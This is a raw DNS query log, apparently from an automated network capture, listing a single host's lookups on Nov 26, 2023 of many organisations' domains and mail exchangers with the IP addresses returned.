Nov 26, 2023 06:59:30.238394022 CET	1.1.1.1	192.168.2.4	0x44e9	No error (0)	engel-firm.com		45.40.150.54	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.252616882 CET	1.1.1.1	192.168.2.4	0x768f	No error (0)	octetpowers-in.mail.protection.outlook.com		104.47.74.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.263993979 CET	1.1.1.1	192.168.2.4	0x38cd	No error (0)	exchange.integral.bg		78.128.62.90	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.288613081 CET	1.1.1.1	192.168.2.4	0xf0db	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.288613081 CET	1.1.1.1	192.168.2.4	0xf0db	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.288826942 CET	1.1.1.1	192.168.2.4	0x88c6	No error (0)	dkrs.gov.ua		185.154.212.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.295006037 CET	1.1.1.1	192.168.2.4	0x365d	Name error (3)	matttux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.295388937 CET	1.1.1.1	192.168.2.4	0x95a0	No error (0)	tiswheels.com		34.136.104.255	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.295789957 CET	1.1.1.1	192.168.2.4	0xbb0a	No error (0)	webstamp.ca		72.167.58.161	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.304372072 CET	1.1.1.1	192.168.2.4	0x26	No error (0)	ceuandalucia.es		213.0.13.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.305685043 CET	1.1.1.1	192.168.2.4	0x9c69	No error (0)	maxiv.lu.se		194.47.252.115	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.316277981 CET	1.1.1.1	192.168.2.4	0x7c1f	No error (0)	belongfbg.com		35.164.64.246	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.361284018 CET	1.1.1.1	192.168.2.4	0x1974	Name error (3)	tnav.ru	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.383554935 CET	1.1.1.1	192.168.2.4	0x46f5	No error (0)	samson.pe		172.96.186.206	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.394875050 CET	1.1.1.1	192.168.2.4	0xc62d	No error (0)	harasduberry.com		99.81.150.60	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.396716118 CET	1.1.1.1	192.168.2.4	0xa02e	Name error (3)	dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.414962053 CET	1.1.1.1	192.168.2.4	0x4b4f	No error (0)	tcetmumbai.in		162.144.64.233	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.432374954 CET	1.1.1.1	192.168.2.4	0xb7c8	No error (0)	grg17geblergasse.at		81.19.159.64	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.444453001 CET	1.1.1.1	192.168.2.4	0x69c6	No error (0)	beachrecruitment.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.444464922 CET	1.1.1.1	192.168.2.4	0x69c6	No error (0)	beachrecruitment.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.449601889 CET	1.1.1.1	192.168.2.4	0xc58b	No error (0)	robinsonland.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:30.449601889 CET	1.1.1.1	192.168.2.4	0xc58b	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:30.449601889 CET	1.1.1.1	192.168.2.4	0xc58b	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.449601889 CET	1.1.1.1	192.168.2.4	0xc58b	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.453619003 CET	1.1.1.1	192.168.2.4	0xf3a8	No error (0)	svenssonfriends.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.453619003 CET	1.1.1.1	192.168.2.4	0xf3a8	No error (0)	svenssonfriends.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.467883110 CET	1.1.1.1	192.168.2.4	0x5341	No error (0)	perrisesd.org		52.206.191.232	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.471218109 CET	1.1.1.1	192.168.2.4	0x6949	No error (0)	coralparkchristian.org		162.210.96.117	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.477662086 CET	1.1.1.1	192.168.2.4	0x533f	Name error (3)	member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.514998913 CET	1.1.1.1	192.168.2.4	0xc95e	No error (0)	kappablu.de		81.169.145.157	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.532721996 CET	1.1.1.1	192.168.2.4	0x69c6	No error (0)	beachrecruitment.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.540613890 CET	1.1.1.1	192.168.2.4	0x129c	No error (0)	locandafrancigena.it		35.214.252.247	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.554291964 CET	1.1.1.1	192.168.2.4	0xf215	Name error (3)	heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.562598944 CET	1.1.1.1	192.168.2.4	0xaa3d	Server failure (2)	bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.569340944 CET	1.1.1.1	192.168.2.4	0xf2ab	Name error (3)	elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.593885899 CET	1.1.1.1	192.168.2.4	0x4010	No error (0)	digdig.org		133.130.97.143	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.615838051 CET	1.1.1.1	192.168.2.4	0xda13	No error (0)	leeberg.dk		104.21.63.202	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.615838051 CET	1.1.1.1	192.168.2.4	0xda13	No error (0)	leeberg.dk		172.67.150.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.639262915 CET	1.1.1.1	192.168.2.4	0x68b0	Name error (3)	5.e9mbw4gh	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.689471960 CET	1.1.1.1	192.168.2.4	0xd17d	No error (0)	awb-apparatebau.de		81.169.145.74	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.738146067 CET	1.1.1.1	192.168.2.4	0x8cce	No error (0)	upn.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.738225937 CET	1.1.1.1	192.168.2.4	0x8cce	No error (0)	upn.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.738240957 CET	1.1.1.1	192.168.2.4	0x8cce	No error (0)	upn.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:30.839003086 CET	1.1.1.1	192.168.2.4	0x406b	Server failure (2)	schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.852579117 CET	1.1.1.1	192.168.2.4	0x9c7b	No error (0)	vivanettv.co.ke		104.247.74.107	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.011378050 CET	1.1.1.1	192.168.2.4	0x265d	No error (0)	financefast.com.br		191.252.51.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.028347969 CET	1.1.1.1	192.168.2.4	0x9a85	No error (0)	nyklawfirm.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.028347969 CET	1.1.1.1	192.168.2.4	0x9a85	No error (0)	nyklawfirm.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.036547899 CET	1.1.1.1	192.168.2.4	0x9b8f	No error (0)	saudi-jamac.com		76.223.105.230	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.036547899 CET	1.1.1.1	192.168.2.4	0x9b8f	No error (0)	saudi-jamac.com		13.248.243.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.041704893 CET	1.1.1.1	192.168.2.4	0xa456	No error (0)	federwild.at		185.183.156.218	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.043732882 CET	1.1.1.1	192.168.2.4	0xf3c1	No error (0)	park-mx.above.com		103.224.212.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.049370050 CET	1.1.1.1	192.168.2.4	0x4aae	No error (0)	aspmx2.googlemail.com		209.85.202.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.065133095 CET	1.1.1.1	192.168.2.4	0x3674	No error (0)	alt2.aspmx.l.google.com		64.233.184.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.067452908 CET	1.1.1.1	192.168.2.4	0x37fa	No error (0)	mx1.improvmx.com		15.236.236.160	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.067452908 CET	1.1.1.1	192.168.2.4	0x37fa	No error (0)	mx1.improvmx.com		35.181.18.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.067452908 CET	1.1.1.1	192.168.2.4	0x37fa	No error (0)	mx1.improvmx.com		13.37.195.136	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.077907085 CET	1.1.1.1	192.168.2.4	0x4c76	No error (0)	mail.lumaruniformes.com		162.241.62.220	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		164.90.197.105	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		164.90.197.143	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		147.182.130.78	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		147.182.160.18	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		147.182.189.184	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		164.90.197.79	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		147.182.180.139	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079096079 CET	1.1.1.1	192.168.2.4	0xe330	No error (0)	mx195.m1bp.com		164.90.197.162	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.079790115 CET	1.1.1.1	192.168.2.4	0x1903	No error (0)	alt4.aspmx.l.google.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.082693100 CET	1.1.1.1	192.168.2.4	0x2ea	No error (0)	ALT2.ASPMX.L.GOOGLE.com		64.233.184.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.085854053 CET	1.1.1.1	192.168.2.4	0x4d9	No error (0)	smx00.udag.de		62.146.106.50	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.095561028 CET	1.1.1.1	192.168.2.4	0x50d0	No error (0)	mail.tradeavenida.com		162.241.24.104	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.104808092 CET	1.1.1.1	192.168.2.4	0xb5ed	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.104808092 CET	1.1.1.1	192.168.2.4	0xb5ed	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.108541965 CET	1.1.1.1	192.168.2.4	0xddfe	No error (0)	mx1.supremebox.com		198.23.53.39	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116525888 CET	1.1.1.1	192.168.2.4	0x9aca	No error (0)	mail.himontessori.com		74.220.219.189	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.8.32	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.116882086 CET	1.1.1.1	192.168.2.4	0x4d64	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.119394064 CET	1.1.1.1	192.168.2.4	0x64a9	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.121762991 CET	1.1.1.1	192.168.2.4	0xf07	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.121762991 CET	1.1.1.1	192.168.2.4	0xf07	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.128204107 CET	1.1.1.1	192.168.2.4	0x3d5d	No error (0)	ibright-net.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.128204107 CET	1.1.1.1	192.168.2.4	0x3d5d	No error (0)	ibright-net.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.133821011 CET	1.1.1.1	192.168.2.4	0x4b7e	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.168576002 CET	1.1.1.1	192.168.2.4	0x1735	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.175314903 CET	1.1.1.1	192.168.2.4	0xd7d0	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.176580906 CET	1.1.1.1	192.168.2.4	0xd907	No error (0)	coimbrausa.com		192.124.249.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.213596106 CET	1.1.1.1	192.168.2.4	0xd98a	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.213596106 CET	1.1.1.1	192.168.2.4	0xd98a	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.213596106 CET	1.1.1.1	192.168.2.4	0xd98a	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.213596106 CET	1.1.1.1	192.168.2.4	0xd98a	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.275237083 CET	1.1.1.1	192.168.2.4	0xf3ab	No error (0)	mx-vip-02.uni5.net		191.6.220.39	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.277237892 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	samsongroup.in.tmes.trendmicro.eu		18.185.115.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.277237892 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	samsongroup.in.tmes.trendmicro.eu		18.185.115.145	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.277237892 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	samsongroup.in.tmes.trendmicro.eu		18.185.115.146	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.279556036 CET	1.1.1.1	192.168.2.4	0xcebb	No error (0)	mx.rimed.cu		200.55.156.172	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.279556036 CET	1.1.1.1	192.168.2.4	0xcebb	No error (0)	mx.rimed.cu		200.55.156.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.279556036 CET	1.1.1.1	192.168.2.4	0xcebb	No error (0)	mx.rimed.cu		200.55.156.170	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.283298016 CET	1.1.1.1	192.168.2.4	0x7b04	Name error (3)	ms86978078.msv1.invalid	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.291778088 CET	1.1.1.1	192.168.2.4	0xd92c	No error (0)	mx1.jimdo.com		173.203.187.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.315884113 CET	1.1.1.1	192.168.2.4	0x5429	No error (0)	em4.mainnetmail.com		142.93.233.86	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.335341930 CET	1.1.1.1	192.168.2.4	0x4a0e	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.335341930 CET	1.1.1.1	192.168.2.4	0x4a0e	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.335341930 CET	1.1.1.1	192.168.2.4	0x4a0e	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.335341930 CET	1.1.1.1	192.168.2.4	0x4a0e	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.341857910 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.353749990 CET	1.1.1.1	192.168.2.4	0xbd3	Name error (3)	foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.358293056 CET	1.1.1.1	192.168.2.4	0x9bb0	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.360570908 CET	1.1.1.1	192.168.2.4	0x50dd	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.361093044 CET	1.1.1.1	192.168.2.4	0x4884	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.393697977 CET	1.1.1.1	192.168.2.4	0x4d61	No error (0)	recv1.erinn.biz		133.130.97.143	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.439270020 CET	1.1.1.1	192.168.2.4	0x93fb	Name error (3)	utlinks.om	none	none	A (IP address)	IN (0x0001)	false
